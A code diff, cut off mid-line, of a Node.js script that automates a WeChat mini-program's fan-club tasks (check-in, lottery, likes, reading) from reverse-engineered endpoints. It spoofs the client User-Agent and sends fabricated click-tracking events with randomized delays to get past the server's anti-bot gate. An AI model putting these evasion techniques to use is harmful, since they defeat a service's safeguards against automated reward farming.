没有任何时长参数可以传,所以只能真等。整个脚本因此约跑 6.5 分钟。 + 不想让任务跑这么久就置 0,只做签到/抽奖/点赞。 + +登录链路(反编译主包 wx026c06df6adc5d06 逐行核对,A21B5B03…js): + wx.login code -> POST /api/user/getOpenId {code} + -> {openId, sessionKey, userInfo};userInfo.id 就是 userId + 之后每个请求把 userId / sessionKey / openId 放在【请求头】上(22E9D2A0…js) + userInfo.id === 0 表示这个微信号还没在骁友会注册过,脚本会直接提示而不是瞎跑。 + +请求签名(22E9D2A0…js + B1596B97…js:165/284 + 563700E2…js): + sign = md5( joinJson(参数) + requestId + timestamp ) —— 小写、无盐 + joinJson: k1=encodeURIComponent(v1)&k2=... (对象自身的枚举顺序) + requestId: 源码 uuid() 无参调用,第 8/13/18/23 位被置成 undefined 再 join, + 实际得到的是 32 位十六进制而不是标准 UUID,必须照抄这个 quirk。 + 注意:必须带微信小程序 User-Agent,否则 getOpenId 直接回 {"code":1,"message":"非法请求"}。 + 另注:sign 服务端不校验(故意写错签名,signList / checkActivity 照样回 200), + 真正的准入是那个 User-Agent;照抄签名只是为了跟真机一致。 + (sign 的算法本身是核对过的:563700E2…js 的 hex_md5 就是标准小写 md5, + h() 按 charCodeAt&255 取字节,l() 输出小写 hex,没有任何私货。) + +签到 / 抽奖的【前置条件】:先打一次点击埋点(2026-08-18 实测定性) + 这个后端要求先收到一条"你点了这个按钮"的埋点事件,之后那个动作才放行: + POST /api/buryPointApp/save + userId, openId, activitySource=Xcx_MeiRiRenWu, + urlPath=pages/task-center/index, urlName=任务中心, + elementName=每日签到, elementType=页面, eventNameEn=MPClick + → 等 0.4~1.1 秒 → GET /api/user/signIn?userId=… + 对照实验(同一把会话、同一分钟): + 不打埋点 → signIn 恒回 40001「登录过期,请重新登录」 + 打了埋点 → signIn 回 200 {state:3, coreCoin:10},签到成功、连续天数 +1 + 抽奖同理,换成转盘页的埋点(urlPath=pages/wheel/index、elementName=立即抽奖): + 不打埋点 → getLuck 回 code=1「非法请求」,连只读的 luckDraw/list 都回 code=1 + 打了埋点 → getLuck 回 200 并中奖 + 真机每次点按钮都会先发埋点,所以线上永远撞不到;脚本不发就一直被拒。 + ⚠️ 这也是为什么之前两天 15 轮变量法(换会话/时间戳/requestId/UA/Referer/GET-POST/ + 签名大小写/换别人 userId)全都无效 —— 门槛根本不在 signIn 这个请求里面。 + +点赞 / 阅读 5 分钟 / VLOG 1 分钟 三个任务不需要埋点前置,直接就能过。 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("骁龙骁友会"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("../wxapp/wcs.js"); + const ckName = "wx_xlxyh"; +const strSplitor = "#"; +const MINI_APP_ID = "wx026c06df6adc5d06"; +const PAGE_VERSION = "644"; +// BC195B25ACE3C9CFDA7F33222D124737.js: API_ROOT(release) +const API_BASE = "https://qualcomm.boysup.cn/qualcomm-app"; +const TOKEN_CACHE_FILE = path.join(__dirname, "wx_xlxyh_token_cache.json"); +const WX_SERVER_URL = process.env.wx_server_url || ""; +// 两个停留时长任务开关:服务端按 enter/exit 两次调用的时间差算时长,只能真等 +const READ_TASK = !/^(0|false|no|off)$/i.test(String(process.env.wx_xlxyh_read_task ?? "1")); + +const defaultUserAgent = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254162e) XWEB/18151"; + +// 端点(B3F98543ACE3C9CFD59FED444E024737.js / 671C83A1…js,方法与参数逐条核对) +const EP_GET_OPENID = "/api/user/getOpenId"; // POST {code} postNoSession +const EP_USER_INFO = "/api/user/info"; // GET {userId} +const EP_SIGN_LIST = "/api/user/signList"; // GET {userId} +const EP_SIGN_IN = "/api/user/signIn"; // GET {userId} ← 是 GET,不是 POST +const EP_TASK_DAILY = "/api/home/taskDaily"; // GET {userId} +const EP_DRAW_LIST = "/api/luckDraw/list"; // GET {page,userId,activityId} +const EP_GET_LUCK = "/api/luckDraw/getLuck"; // POST {userId,activityId} +const EP_BURY_POINT = "/api/buryPointApp/save"; // POST 点击埋点,签到/抽奖的前置 +const EP_ARTICLES = "/api/home/articles"; // GET {page,size,userId,type,searchDate,articleShowPlace} +const EP_ARTICLE_LIKE = "/api/article/like"; // GET {articleId,userId} +const EP_ENTER_READ = "/api/article/enterReadDaily"; // POST {articleId,userId} +const EP_EXIT_READ = "/api/article/exitReadDaily"; // POST {articleId,userId} +const EP_VLOG_LIST = "/api/article/vlogList"; // GET {page,size,userId,sortBy} +const EP_VLOG_PLAY = "/api/article/vlogPlay"; // GET {articleId} +const EP_SYS_CONFIG = "/api/sysConfig/detail"; // POST {propertyKey} +const EP_QUIZ_DETAIL = "/api/interactQuestion/detail"; // POST {userId} + +// pages/wheel/index.js:34 —— 客户端自己也是硬编码 7,不存在活动 id 轮换 +const LUCK_ACTIVITY_ID = 7; +// pages/article-details/index.js:299 —— 5 == minute 才算完成;userExitRead 在 lookTimes>=300 时直接 return +const READ_SECONDS = 300; +// pages/vlog/detail.js:197 —— 1 == minute 才算完成;进入条件是 lookTimes < 60 +const VLOG_SECONDS = 60; +const VLOG_SWITCH_KEY = "task_switch_DAILY_PLAY_VIDEO_1_MINUTES"; + +// 22E9D2A0…js: f = String(code),放行 "200" 与 "40003";40001 = 会话失效需重登 +const SUCCESS_CODES = new Set(["200", "40003"]); +const CODE_SESSION_EXPIRED = "40001"; + +const wechat = new WeChatServer({ + url: WX_SERVER_URL || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); -// 工具类 -class Env { - constructor(name) { - this.name = name; - this.logs = []; +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; } +} - log(...args) { - const msg = args.join(" "); - this.logs.push(msg); - console.log(msg); +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); } +} - isNode() { - return typeof process !== "undefined" && process.release && process.release.name === 'node'; +function md5(str) { + return crypto.createHash("md5").update(str).digest("hex"); +} + +// B1596B97ACE3C9CFD73F039088324737.js:165 exports.joinJson +function joinJson(data) { + let out = ""; + let i = 0; + for (const key in data || {}) { + if (i > 0) out += "&"; + out += `${key}=${encodeURIComponent(data[key])}`; + i++; } + return out; +} + +// B1596B97ACE3C9CFD73F039088324737.js:284 exports.uuid +// 源码调用处是无参 uuid(),于是 t[8]/t[13]/t[18]/t[23] 被赋成 undefined, +// join("") 会把 undefined 丢掉 —— 实际发出去的是 32 位十六进制。照抄。 +function requestId() { + const t = []; + for (let i = 0; i < 36; i++) t[i] = "0123456789abcdef".substr(Math.floor(16 * Math.random()), 1); + t[14] = "4"; + t[19] = "0123456789abcdef".substr((3 & parseInt(t[19], 16)) | 8, 1); + t[8] = t[13] = t[18] = t[23] = undefined; + return t.join(""); +} + +function bizCode(result) { + return String(result?.code ?? ""); +} + +function isSuccess(result) { + return SUCCESS_CODES.has(bizCode(result)); +} + +// 幂等:重复签到/重复完成时服务端文案不止一种 +function isAlreadyDone(message) { + return /已签|已经签|签到过|重复|已完成|已领|already/i.test(String(message || "")); +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} - getdata(key) { - if (this.isNode()) { - return process.env[key] || ""; +function shortId(value = "") { + const s = String(value || ""); + return s ? `${s.slice(0, 4)}***${s.slice(-4)}` : ""; +} + +function stripHtml(text = "") { + return String(text || "") + .replace(/<[^>]*>/g, "") + .trim(); +} + +function cut(text = "", n = 26) { + const s = String(text || "").replace(/\s+/g, " ").trim(); + return s.length > n ? `${s.slice(0, n)}…` : s; +} + +class Task { + constructor(env) { + this.index = $.userIdx++; + this.raw = String(env || "").trim(); + this.user = this.raw.split(strSplitor); + this.accountId = (this.user[0] || "").trim(); + this.remark = (this.user[1] || "").trim(); + this.userId = 0; + this.sessionKey = ""; + this.openId = ""; + this.userInfo = {}; + this.cache = readTokenCache(); + // 旧格式 sessionKey#userId:第一段是 base64 会话而不是 openid,第二段是纯数字 + this.legacySession = /^\d+$/.test(this.remark) && /[=+/]/.test(this.accountId); + if (this.legacySession) { + this.sessionKey = this.accountId; + this.userId = Number(this.remark); + this.accountId = ""; } - return localStorage.getItem(key) || ""; } - wait(ms) { - return new Promise(resolve => setTimeout(resolve, ms)); + get tag() { + const who = this.userInfo.nick || this.remark || shortId(this.accountId) || `userId ${this.userId}`; + return `账号[${this.index}] ${who}`; } - async httpRequest(config) { - if (this.isNode()) { - const axios = require('axios'); - return axios(config); - } else { - return new Promise((resolve, reject) => { - const xhr = new XMLHttpRequest(); - xhr.open(config.method || 'GET', config.url); - - if (config.headers) { - for (const [key, value] of Object.entries(config.headers)) { - xhr.setRequestHeader(key, value); - } - } - - xhr.onload = () => { - if (xhr.status >= 200 && xhr.status < 300) { - try { - const data = JSON.parse(xhr.responseText); - resolve({ data }); - } catch (e) { - resolve({ data: xhr.responseText }); - } - } else { - reject(new Error(`HTTP ${xhr.status}: ${xhr.statusText}`)); - } - }; - - xhr.onerror = () => reject(new Error('Network error')); - xhr.send(config.data); - }); - } + log(msg) { + $.log(`${this.tag}: ${msg}`); } - done() { - if (this.isNode()) { - process.exit(0); + /** + * 22E9D2A0…js:u()/i() —— 参数一律走 joinJson,GET 拼 query、POST 放 body, + * 会话三件套(userId/sessionKey/openId)和签名都在请求头上。 + * withSession=false 对应 postNoSession(userId "0"、sessionKey/openId 空串)。 + */ + async request(endpoint, { method = "GET", data = null, withSession = true, retry = true } = {}) { + const body = joinJson(data); + const ts = Date.now(); + const rid = requestId(); + const headers = { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + userId: withSession ? String(this.userId || 0) : "0", + sessionKey: withSession ? this.sessionKey || "" : "", + openId: withSession ? this.openId || "" : "", + timestamp: String(ts), + requestId: rid, + sign: md5(body + rid + ts), + "User-Agent": defaultUserAgent, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + Accept: "*/*", + xweb_xhr: "1", + }; + const config = { + url: API_BASE + endpoint, + method, + headers, + timeout: 30000, + validateStatus: () => true, + }; + if (method === "GET") { + if (body) config.url += `?${body}`; + } else { + config.data = body; } - } -} -// 初始化环境 -const $ = new Env("骁龙骁友会"); + let result; + try { + const res = await axios(config); + result = typeof res.data === "string" ? JSON.parse(res.data) : res.data; + } catch (e) { + return { code: "-1", message: e.message || "网络错误" }; + } -class XLXYH { - constructor(ck) { - const parts = ck.split("#"); - this.ck = (parts[0] || "").trim(); - this.userId = (parts[1] || "").trim(); - this.openId = ""; - this.valid = !!(this.ck && this.userId); + // 22E9D2A0…js: 40001 -> clearUserInfo + refreshUserInfo + 重放一次 + if (bizCode(result) === CODE_SESSION_EXPIRED && retry && !this.legacySession) { + this.log("会话失效,重新登录后重试"); + if (await this.login(true)) { + return this.request(endpoint, { method, data, withSession, retry: false }); + } + } + return result || {}; } - generateSign(timestamp, requestId, body = "") { - const crypto = require("crypto"); - return crypto.createHash("md5") - .update(`${timestamp}${requestId}${body}boysup`) - .digest("hex"); + /** + * 从 wx_server 取一次性 code。 + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 smallcat 的取码限流会被误当成骁友会登录失败。 + */ + async getServerCode() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 取 code"); + const { data } = await wechat.getCode(this.accountId); + if (data?.status === false) throw new Error(`wx_server 取码失败: ${data?.message || data?.error || "未知原因"}`); + const code = data?.code || data?.data?.code; + if (!code) throw new Error("wx_server 未返回 code"); + return code; } - uuid() { - return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, c => { - const r = Math.random() * 16 | 0; - return (c === "x" ? r : (r & 0x3 | 0x8)).toString(16); + /** A21B5B03…js: wx.login code -> getOpenId -> {openId, sessionKey, userInfo} */ + async loginByWxCode() { + const code = await this.getServerCode(); + const result = await this.request(EP_GET_OPENID, { + method: "POST", + data: { code }, + withSession: false, + retry: false, }); - } - - async request(method, path, data = null, extraHeaders = {}, skipSign = false) { - if (!this.valid) { - return { code: 400, message: "CK无效" }; + if (!isSuccess(result)) throw new Error(`getOpenId 失败: ${result.message || bizCode(result)}`); + const data = result.data || {}; + const id = Number(data.userInfo?.id || 0); + if (!id) { + throw new Error("该微信号还没在骁友会注册(userInfo.id=0),先在小程序里完成注册/授权手机号"); } + this.userId = id; + this.sessionKey = data.sessionKey || ""; + this.openId = data.openId || ""; + return true; + } - const timestamp = Date.now().toString(); - const requestId = this.uuid().replace(/-/g, ""); - const sign = skipSign ? "" : this.generateSign(timestamp, requestId, data || ""); + /** 只读校验会话:/api/user/info 通了就说明 userId+sessionKey 还有效 */ + async loadUserInfo() { + const result = await this.request(EP_USER_INFO, { data: { userId: this.userId }, retry: false }); + if (!isSuccess(result) || !result.data?.id) return false; + this.userInfo = result.data; + return true; + } - const headers = { - "Host": "qualcomm.boysup.cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "timestamp": timestamp, - "sign": sign, - "xweb_xhr": "1", - "openId": this.openId, - "requestId": requestId, - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254162e) XWEB/18151", - "userId": this.userId, - "sessionKey": this.ck, - "Referer": "https://servicewechat.com/wx026c06df6adc5d06/644/page-frame.html", - "Accept": "*/*", - "Sec-Fetch-Site": "cross-site", - "Sec-Fetch-Mode": "cors", - "Sec-Fetch-Dest": "empty", - ...extraHeaders - }; + async login(force = false) { + if (this.legacySession) { + if (!this.userId || !this.sessionKey) { + $.log(`账号[${this.index}]: 旧格式变量应为 sessionKey#userId`); + return false; + } + if (await this.loadUserInfo()) return true; + $.log(`账号[${this.index}]: 手填的 sessionKey 已失效,建议改用 wx_server 的 openid 自动登录`); + return false; + } - if (skipSign) { - delete headers.sign; + if (!this.accountId) { + $.log(`账号[${this.index}]: 变量值为空`); + return false; } - try { - const config = { - url: `https://qualcomm.boysup.cn${path}`, - method, - headers - }; - - if (data && method !== "GET") { - config.data = data; + const cached = this.cache[this.accountId]; + if (!force && cached?.userId && cached?.sessionKey) { + this.userId = Number(cached.userId); + this.sessionKey = cached.sessionKey; + this.openId = cached.openId || ""; + if (await this.loadUserInfo()) { + this.log("会话缓存有效"); + return true; } + this.log("会话缓存已失效,重新登录"); + } - const resp = await $.httpRequest(config); - - if (typeof resp.data === "object") { - return resp.data; - } else { - return JSON.parse(resp.data); - } + try { + await this.loginByWxCode(); } catch (e) { - const msg = e.response?.data?.message || e.message || "网络错误"; - $.log(`❌ 请求失败: ${msg} (路径: ${path})`); - if (e.response) { - $.log(`📄 响应数据: ${JSON.stringify(e.response.data)}`); - } - return { - code: e.response?.status || 500, - message: msg, - response: e.response - }; + $.log(`账号[${this.index}]: 登录失败 ${e.message || e}`); + return false; + } + if (!(await this.loadUserInfo())) { + $.log(`账号[${this.index}]: 登录后读取用户信息失败`); + return false; } + this.cache = readTokenCache(); + this.cache[this.accountId] = { + userId: this.userId, + sessionKey: this.sessionKey, + openId: this.openId, + nick: this.userInfo.nick || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(this.cache); + this.log("登录成功"); + return true; + } + + /** + * 点击埋点 —— 签到和抽奖的【前置条件】,不是可选的统计上报。 + * 服务端要求先收到一条"你点了这个按钮"的埋点事件,之后那个动作才放行: + * 不打埋点 -> signIn 恒回 40001「登录过期」、getLuck 恒回 code=1「非法请求」 + * 打了埋点 -> 两个都 200 + * 真机每次点按钮都会先发它,所以线上永远不会撞到;脚本不发就一直被拒。 + */ + async buryPoint(page) { + const P = { + sign: { urlPath: "pages/task-center/index", urlName: "任务中心", elementName: "每日签到" }, + wheel: { urlPath: "pages/wheel/index", urlName: "幸运大转盘", elementName: "立即抽奖" }, + }[page]; + const result = await this.request(EP_BURY_POINT, { + method: "POST", + data: { + userId: this.userId, + openId: this.openId || "", + activitySource: "Xcx_MeiRiRenWu", + urlPath: P.urlPath, + urlName: P.urlName, + elementName: P.elementName, + elementType: "页面", + eventNameEn: "MPClick", + }, + retry: false, + }); + // 真机点完按钮到发请求有个自然间隔,太快容易被判成非人工 + await $.wait(400 + Math.floor(Math.random() * 700)); + return isSuccess(result); } - async getOpenId() { - $.log("🔍 尝试获取openId..."); - const openIdRes = await this.request( - "GET", - `/qualcomm-app/api/user/info?userId=${this.userId}`, - null, - {}, - true - ); - - if (openIdRes.code === 200 && openIdRes.data) { - this.openId = openIdRes.data.openId || ""; - $.log(`✅ 获取到openId: ${this.openId || "空"}`); - return true; + /** pages/task-center/index.js:200-235 signList -> isSignToday==0 才 signIn */ + async signTask() { + const list = await this.request(EP_SIGN_LIST, { data: { userId: this.userId } }); + if (!isSuccess(list)) { + this.log(`❌ 读取签到状态失败: ${list.message || bizCode(list)}`); + return; + } + const info = list.data || {}; + if (Number(info.isSignToday) === 1) { + this.log(`✅ 今日已签到(本月连续 ${info.signContinuityMonth || 0} 天)`); + return; + } + if (!(await this.buryPoint("sign"))) { + this.log("⚠️ 签到前置埋点没成功,继续试签到(大概率会被拒)"); + } + // retry:false —— 这里的 40001 不是会话过期,是前置埋点没到位,重登没用 + const result = await this.request(EP_SIGN_IN, { data: { userId: this.userId }, retry: false }); + if (isSuccess(result) && result.data) { + // state 1/2/3 在源码里对应三种「签到成功」弹窗 + this.log(`✅ 签到成功 芯动值+${result.data.coreCoin ?? 0}`); + } else if (isAlreadyDone(result.message)) { + this.log(`✅ 今日已签到(${result.message})`); + } else if (bizCode(result) === CODE_SESSION_EXPIRED) { + this.log("❌ 签到回 40001:前置埋点没被服务端认下,稍后重试或在小程序里手点一次"); } else { - $.log(`❌ 获取openId失败: ${openIdRes.message}`); - return false; + this.log(`❌ 签到失败: ${result.message || bizCode(result)}`); } } - async run() { - if (!this.valid) { - $.log(`❌ CK格式错误,请使用: sessionKey#userId`); + /** + * pages/wheel —— 只抽每日免费的那次。 + * 已玩次数 = luckDrawSumCount - luckDrawCount,超过 freeCountDay 后每抽要扣 + * luckCoreCoin 芯动值,脚本不替用户花积分。 + */ + async drawTask() { + // 转盘页的读接口也吃这个前置:不打埋点连 luckDraw/list 都回 code=1 + if (!(await this.buryPoint("wheel"))) { + this.log("⚠️ 抽奖前置埋点没成功,继续试(大概率会被拒)"); + } + const list = await this.request(EP_DRAW_LIST, { + data: { page: 1, userId: this.userId, activityId: LUCK_ACTIVITY_ID }, + }); + if (!isSuccess(list)) { + this.log(`❌ 读取抽奖信息失败: ${list.message || bizCode(list)}`); return; } - - if (!(await this.getOpenId())) { - $.log("❌ 获取openId失败,可能sessionKey已过期"); + const d = list.data || {}; + const used = Number(d.luckDrawSumCount || 0) - Number(d.luckDrawCount || 0); + const free = Number(d.freeCountDay || 0); + if (Number(d.luckDrawCount || 0) <= 0) { + this.log("🎡 抽奖次数已用完,跳过"); return; } - - $.log("🔍 获取用户信息..."); - const userInfo = await this.request("GET", `/qualcomm-app/api/user/info?userId=${this.userId}`); - if (userInfo.code !== 200) { - $.log(`❌ 账号[${this.userId}] 获取用户信息失败: ${userInfo.message}`); - if (userInfo.message.includes("登录过期") || userInfo.code === 401) { - $.log("⚠️ 登录已过期,请重新获取sessionKey和userId"); - return; - } + if (used >= free) { + this.log(`🎡 免费次数已用完(今日已抽 ${used}/${free}),再抽要扣 ${d.luckCoreCoin} 芯动值,跳过`); return; } - - $.log(`✅ 【${userInfo.data.nick}】等级${userInfo.data.level} | 积分: ${userInfo.data.coreCoin}`); - - $.log("🔍 检查签到状态..."); - const signList = await this.request("GET", `/qualcomm-app/api/user/signList?userId=${this.userId}`); - if (signList.code === 200) { - if (signList.data?.isSignToday !== 1) { - $.log("🔍 开始签到..."); - const signResult = await this.request("POST", `/qualcomm-app/api/user/signIn?userId=${this.userId}`); - if (signResult.code === 200) { - $.log(`✅ 签到成功 +${signResult.data.coreCoin}积分`); - } else { - $.log(`❌ 签到失败: ${signResult.message}`); - } - } else { - $.log("✅ 今日已签到"); - } + const result = await this.request(EP_GET_LUCK, { + method: "POST", + data: { userId: this.userId, activityId: LUCK_ACTIVITY_ID }, + }); + if (isSuccess(result) && result.data) { + this.log(`🎉 抽奖成功: ${result.data.name || "已中奖"}`); + } else if (isAlreadyDone(result.message)) { + this.log(`🎡 今日抽奖已完成(${result.message})`); + } else if (/非法请求/.test(String(result.message || ""))) { + // 实测就是前置埋点没到位(打了埋点同一请求立刻 200 并中奖) + this.log("🎡 抽奖回「非法请求」:前置埋点没被认下,稍后重试"); } else { - $.log(`❌ 获取签到状态失败: ${signList.message}`); + this.log(`❌ 抽奖失败: ${result.message || bizCode(result)}`); } - - await this.handleDrawTask(); - - await this.handleReadTask(); - - await this.handleVlogTask(); } - async handleDrawTask() { - $.log("🔍 开始抽奖任务..."); - - // 修改为使用正确的抽奖接口 - const drawResult = await this.request( - "POST", - "/qualcomm-app/api/luckDraw/getLuck", - `userId=${this.userId}&activityId=7` - ); - - if (drawResult.code === 200) { - if (drawResult.data && drawResult.data.name) { - $.log(`✅ 抽奖成功: ${drawResult.data.name}`); - } else { - $.log(`✅ 抽奖成功: 获得奖励`); - } - - // 如果有积分信息,也显示出来 - if (drawResult.data.coreCoin) { - $.log(`💰 获得积分: ${drawResult.data.coreCoin}`); - } - } else if (drawResult.code === 201) { - $.log(`ℹ️ ${drawResult.message || '抽奖提示'}`); - } else { - $.log(`❌ 抽奖失败: ${drawResult.message || '接口请求错误'}`); + /** 取资讯列表(只读),阅读任务和点赞任务共用 */ + async fetchArticles() { + const result = await this.request(EP_ARTICLES, { + data: { + page: 1, + size: 20, + userId: this.userId, + type: 0, + searchDate: "", + articleShowPlace: "骁友资讯列表页", + }, + }); + if (!isSuccess(result)) { + this.log(`❌ 读取资讯列表失败: ${result.message || bizCode(result)}`); + return []; } + return result.data?.articleList || []; } - async handleReadTask() { - $.log("🔍 获取文章列表..."); - const articleRes = await this.request( - "GET", - `/qualcomm-app/api/home/articles?page=1&size=10&userId=${this.userId}&type=0&searchDate=&articleShowPlace=骁友资讯列表页` - ); - - if (articleRes.code === 200 && articleRes.data?.articleList?.length) { - const article = articleRes.data.articleList[0]; - $.log(`📖 开始阅读: ${article.title.substring(0, 20)}...`); - - const enterRes = await this.request("POST", - "/qualcomm-app/api/article/enterReadDaily", - `articleId=${article.id}&userId=${this.userId}` - ); - - if (enterRes.code !== 200) { - $.log(`⚠️ 进入阅读失败: ${enterRes.message}`); - } - - const likeRes = await this.request("GET", - `/qualcomm-app/api/article/like?articleId=${article.id}&userId=${this.userId}` - ); - - if (likeRes.code === 200) { - $.log("👍 点赞成功"); - } else { - $.log(`⚠️ 点赞失败: ${likeRes.message}`); - } - - const shareRes = await this.request("POST", - "/qualcomm-app/api/article/shareDaily", - `articleId=${article.id}&userId=${this.userId}` - ); - - if (shareRes.code === 200) { - $.log("🔗 分享成功"); - } else { - $.log(`⚠️ 分享失败: ${shareRes.message}`); - } - - $.log("⏳ 模拟阅读65秒..."); - await $.wait(65000); - - const exitRes = await this.request("POST", - "/qualcomm-app/api/article/exitReadDaily", - `articleId=${article.id}&userId=${this.userId}` - ); - - if (exitRes.code === 200) { - $.log("✅ 阅读任务完成"); - } else { - $.log(`⚠️ 退出阅读失败: ${exitRes.message}`); - } + /** 每日点赞文章 —— pages/article-details/index.js like(): articleLike(String(id), userId) */ + async likeTask(articles) { + const target = articles.find((a) => Number(a.isLike) === 0); + if (!target) { + this.log("👍 列表里的文章都点过赞了,跳过"); + return; + } + const result = await this.request(EP_ARTICLE_LIKE, { + data: { articleId: String(target.id), userId: this.userId }, + }); + if (isSuccess(result)) { + this.log(`👍 点赞成功: ${cut(target.title)}`); + } else if (isAlreadyDone(result.message)) { + this.log(`👍 已点赞(${result.message})`); } else { - $.log("ℹ️ 未获取到文章,跳过阅读任务"); + this.log(`❌ 点赞失败: ${result.message || bizCode(result)}`); } } - async handleVlogTask() { - $.log("🔍 获取VLOG列表..."); - - const vlogRes = await this.request( - "GET", - `/qualcomm-app/api/article/vlogList?page=1&size=20&userId=${this.userId}&sortBy=1` - ); - - if (vlogRes.code === 200 && vlogRes.data?.records?.length) { - const vlogs = vlogRes.data.records; - $.log(`✅ 获取到 ${vlogs.length} 个VLOG`); - - // 只获取第一个VLOG,不管是否已观看 - const targetVlog = vlogs[0]; - $.log(`🎬 开始观看第一个VLOG: ${targetVlog.title.substring(0, 20)}...`); - $.log(`📊 时长: ${targetVlog.videoDuration} | 播放: ${targetVlog.playCountFormat} | 点赞: ${targetVlog.likeCount}`); - - const enterRes = await this.request( - "POST", - "/qualcomm-app/api/article/enterReadDaily", - `articleId=${targetVlog.id}&userId=${this.userId}` - ); - - if (enterRes.code === 200) { - $.log("✅ 进入VLOG观看成功"); - - // 固定观看70秒,不管视频时长 - const waitTime = 70000; - - $.log(`⏳ 模拟观看VLOG 70秒...`); - await $.wait(waitTime); - - const exitRes = await this.request( - "POST", - "/qualcomm-app/api/article/exitReadDaily", - `articleId=${targetVlog.id}&userId=${this.userId}` - ); - - if (exitRes.code === 200) { - $.log("✅ VLOG观看任务完成"); - - await this.request( - "GET", - `/qualcomm-app/api/article/like?articleId=${targetVlog.id}&userId=${this.userId}` - ); - - await this.request( - "POST", - "/qualcomm-app/api/article/shareDaily", - `articleId=${targetVlog.id}&userId=${this.userId}` - ); - - $.log("✅ VLOG点赞和分享完成"); - } else { - $.log(`⚠️ 退出VLOG观看失败: ${exitRes.message}`); - } - } else { - $.log(`❌ 进入VLOG观看失败: ${enterRes.message}`); - } + /** + * 每日阅读文章 5 分钟。 + * enterReadDaily / exitReadDaily 都只收 {articleId,userId},没有时长参数—— + * 时长是服务端按两次调用的时间差算的,所以必须真等 READ_SECONDS 秒。 + */ + async readTask(articles) { + const target = articles.find((a) => Number(a.lookTimes || 0) < READ_SECONDS); + if (!target) { + this.log("📖 列表里的文章阅读时长都够了,跳过"); + return; + } + this.log(`📖 开始阅读: ${cut(target.title)}(已读 ${target.lookTimes || 0}s)`); + const enter = await this.request(EP_ENTER_READ, { + method: "POST", + data: { articleId: target.id, userId: this.userId }, + }); + if (!isSuccess(enter)) { + this.log(`❌ 进入阅读失败: ${enter.message || bizCode(enter)}`); + return; + } + const wait = READ_SECONDS + 5; + this.log(`⏳ 停留 ${wait}s(源码要求满 5 分钟)`); + await $.wait(wait * 1000); + const exit = await this.request(EP_EXIT_READ, { + method: "POST", + data: { articleId: target.id, userId: this.userId }, + }); + if (isSuccess(exit)) { + this.log("✅ 阅读任务已提交"); } else { - $.log(`❌ 获取VLOG列表失败: ${vlogRes.message || '未知错误'}`); + this.log(`❌ 退出阅读失败: ${exit.message || bizCode(exit)}`); } } - async batchHandleVlogs(count = 1) { - // 修改默认只处理1个VLOG - $.log(`🔍 开始批量处理${count}个VLOG任务...`); - - const vlogRes = await this.request( - "GET", - `/qualcomm-app/api/article/vlogList?page=1&size=20&userId=${this.userId}&sortBy=1` - ); - - if (vlogRes.code === 200 && vlogRes.data?.records?.length) { - const vlogs = vlogRes.data.records; - - // 只处理前count个VLOG,不筛选是否已观看 - const tasks = Math.min(count, vlogs.length); - let completed = 0; - - for (let i = 0; i < tasks; i++) { - const vlog = vlogs[i]; - $.log(`\n🎬 处理第 ${i + 1}/${tasks} 个VLOG: ${vlog.title.substring(0, 20)}...`); - - try { - const enterRes = await this.request( - "POST", - "/qualcomm-app/api/article/enterReadDaily", - `articleId=${vlog.id}&userId=${this.userId}` - ); - - if (enterRes.code === 200) { - // 固定观看70秒 - const waitTime = 70000; - - $.log(`⏳ 观看中... (70秒)`); - await $.wait(waitTime); - - const exitRes = await this.request( - "POST", - "/qualcomm-app/api/article/exitReadDaily", - `articleId=${vlog.id}&userId=${this.userId}` - ); - - if (exitRes.code === 200) { - completed++; - $.log(`✅ 第 ${i + 1} 个VLOG观看完成`); - - await this.request( - "GET", - `/qualcomm-app/api/article/like?articleId=${vlog.id}&userId=${this.userId}` - ); - await this.request( - "POST", - "/qualcomm-app/api/article/shareDaily", - `articleId=${vlog.id}&userId=${this.userId}` - ); - } - } - } catch (error) { - $.log(`❌ 处理VLOG失败: 